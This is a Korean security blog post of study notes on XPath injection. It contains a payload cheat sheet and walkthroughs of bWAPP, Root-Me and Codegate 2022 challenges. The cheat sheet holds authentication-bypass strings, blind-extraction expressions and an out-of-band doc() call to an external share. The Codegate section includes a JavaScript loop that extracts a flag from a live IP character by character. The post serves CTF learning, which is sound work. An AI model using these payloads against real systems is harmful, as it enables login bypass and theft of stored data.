Veloideu - IT∽보안∽프로그래밍
article thumbnail
Published 2022. 9. 20. 12:14
[공부] Xpath Injection 🌍WEB

개요

최근 CTF에서 Xpath Injection 관련 취약점이 등장 -> 연구


CheatSheet

Exploitation

Similar to SQL : "string(//user[name/text()='" +vuln_var1+ "' and password/text()=’" +vuln_var1+ "']/account/text())"

' or '1'='1
' or ''='
x' or 1=1 or 'x'='y
/
//
//*
*/*
@*
count(/child::node())
x' or name()='username' or 'x'='y
' and count(/*)=1 and '1'='1
' and count(/@*)=1 and '1'='1
' and count(/comment())=1 and '1'='1
search=')] | //user/*[contains(*,'
search=Har') and contains(../password,'c
search=Har') and starts-with(../password,'c

Blind Exploitation

  1. Size of a string
    and string-length(account)=SIZE_INT
  2. Extract a character
    substring(//user[userid=5]/username,2,1)=CHAR_HERE
    substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)

Out Of Band Exploitation

http://example.com/?title=Foundation&type=*&rent_days=* and doc('//10.10.10.10/SHARE')

문제 풀이

최근 CTF 및 Wargame 관련 문제와 블로그를 참고하였습니다.

 

bWAPP A1 XML/Xpath Injection (search)

메인 사진
XML 구조 확인

Genre 태그 사용 하는 것 확인
ㄴ 내가 입력한 값 contains() Xpath contains() 함수 사용 추측
ㄴ XPath contains() Function

 

  • 따라서 추측 Query
query : $xpath->query("/path1/path2/[contains(genre,'내가 입력한 값')]");

 

  • Single Quote를 이용한 에러(취약점) 확인

"url" genre 파라미터 single quote전송시 error 출력

  • 페이로드 작성
입력 값
value: ') or 1][('1

예상 쿼리문
query: $xpath->query("/path1/path2/[contains(genre,'')or1][('1')]");

Xpath Injection 공격

 

  • 따라서 모든 데이터를 가져오기 위해 아래와 같이 익스플로잇
입력값
value : ')] | //* | Oxe82de][('

쿼리문
query : $xpath->query("/path1/path2/[contains(genre, '')] | //* | 0xe82de[('')]");

contains(genre, '')부분은 거짓이 되며, 대괄호로 쿼리를 만들어 주고 Pipe를 사용하여 쿼리를 이어줌
//* 기능은 현재 노드로부터 모든 데이터를 가져오는 기능
따라서 쿼리문은 참이 되고 모든 데이터 출력
*0xe82de[('')] 부분은 의미 없지만 정상적인 쿼리문을 완성하기 위해 사용

ROOTME] XPath injection-Authentication

메인 사진

  • 해당 로그인 로직 확인
FindUserXPath = "//Employee[UserName/text()='" & Request("Username") & "' And
        Password/text()='" & Request("Password") & "']"
  • 페이로드 작성
SQL Injection에서 'or 1=1 -- 와 같은 XPath Injection 구문은 ' or 1=1 or 'a'='a 이라고 한다.
하지만 문제에서 필요한 것은 관리자 계정에 로그인하는 것이므로, 관리자 권한을 가지고 있는 John으로 제한을 둬야한다.
또한 테스트 결과 1=1 or 'a'='a처럼 논리 연산을 두번 시킬 필요는 없었다.

 

  • 익스플로잇
John' or 1='
해당 페이로드를 입력하면 관리자 권한으로 로그인되며, 플래그인 관리자 패스워드 값을 확인할 수 있다.

ROOTME] XPath injection - String

메인 사진

  • 에러(취약점) 확인

  • 해당 로그인 로직 확인
FindUserXPath = "//Employee[UserName/text()='" & Request("Username") & "' And
        Password/text()='" & Request("Password") & "']"
  • 페이로드 작성
입력 값
value: ')] | //*%00

예상 쿼리
//user/username[contains(., '')] | //*%00')]
//노드이름 은 최상위 노드 아래에 있는 모든 노드를 가리킨다.
패스워드가 저장된 태그이름을 모르므로 * 와일드 카드를 사용하여 모든 노드를 가리키게 만들었으며
마지막에 %00 널 바이트를 삽입하여 뒤에 싱글쿼터의 쌍을 맞춰주지 않아도 에러가 발생하지 않고 쿼리가 정상 실행된다.
결과적으로 <user>부터 최하위 노드까지 모두 출력된다.

 

  • 익스플로잇
value: ')] | //*%00
최하위 노드까지 모두 출력 하여 플래그 획득

 

[Codegate2022예선] (WEB) MYBLOG

  • 코드분석

jsp 파일에는 register, login, write, read 기능이 전부였는데, 회원가입 및 로그인 후 제목과 내용을 입력하고 글을 쓰면 /read?idx=1 URL 경로로 요청하면 글을 읽을 수 있었습니다.

그리고 /read 경로를 요청했을 때 연결되는 Servlet 으로는 blogServlet.class 가 있었는데, 디컴파일 해보면 아래와 같습니다.

private String[] doReadArticle(HttpServletRequest req) {
    String id = (String) req.getSession().getAttribute("id");
    String idx = req.getParameter("idx");
    if ("null".equals(id) || idx == null) {
        return null;
    }
    try {
        Document document = DocumentBuilderFactory.newInstance().newDocumentBuilder().parse(new InputSource(new FileInputStream(new File(this.tmpDir + "/article/", id + ".xml"))));
        XPath xpath = XPathFactory.newInstance().newXPath();
        return new String[]{decBase64(((String) xpath.evaluate("//article[@idx='" + idx + "']/title/text()", document, XPathConstants.STRING)).trim()), decBase64(((String) xpath.evaluate("//article[@idx='" + idx + "']/content/text()", document, XPathConstants.STRING)).trim())};
    } catch (Exception e) {
        System.out.println(e.getMessage());
        return null;
    }
}
파라미터로 주어진 idx 값이 xpath.evaluate 함수로 어떤 필터링도 없이 넘어가는 것을 확인할 수 있었습니다. 이로써 XPATH Injection 이 가능해짐을 알 수 있습니다.
그리고 XSLT Functions 들 중에서 신기한 함수 하나가 있었는데요.
https://www.w3.org/TR/xslt20/#function-system-property
  • 익스플로잇
var chars = 'abcdef0123456789{}';
var flag = 'codegate2022';
var i=0;
while(1){
    for(i=0; i<chars.length;i++){
        var f = await fetch("http://3.39.79.180/blog/read?idx=1%27%20and%20starts-with(system-property(%27flag%27),%27"+flag+encodeURIComponent(chars[i])+"%27)%20or%20%27", {
          "headers": {
            "accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
            "accept-language": "ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7",
            "cache-control": "no-cache",
            "pragma": "no-cache",
            "upgrade-insecure-requests": "1"
          },
          "referrerPolicy": "strict-origin-when-cross-origin",
          "body": null,
          "method": "GET",
          "mode": "cors",
          "credentials": "include"
        });
        var r = await f.text();
        if(r.includes('test')){
            //console.log(chars[i]);
            flag = flag.concat(encodeURIComponent(chars[i]));
        }
    }
    if(chars[i] == '}') break;;
}

http://3.39.79.180/blog/read?idx=1' and starts-with(system-property('flag'),'" flag encodeURIComponent(chars[i]) "') or '

결과물

 

 

참고

https://www.youtube.com/watch?v=c50KFQTq-dk&t=1s 

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XPATH%20Injection#blind-exploitation

https://jade9reen.tistory.com/204

https://velog.io/@woounnan/ROOTME-XPath-injection-Authentication

https://domdom.tistory.com/entry/Codegate2022%EC%98%88%EC%84%A0-WEB-MYBLOG

profile

Veloideu - IT∽보안∽프로그래밍

@Veloideu

포스팅이 좋았다면 "좋아요❤️" 또는 "구독👍🏻" 해주세요!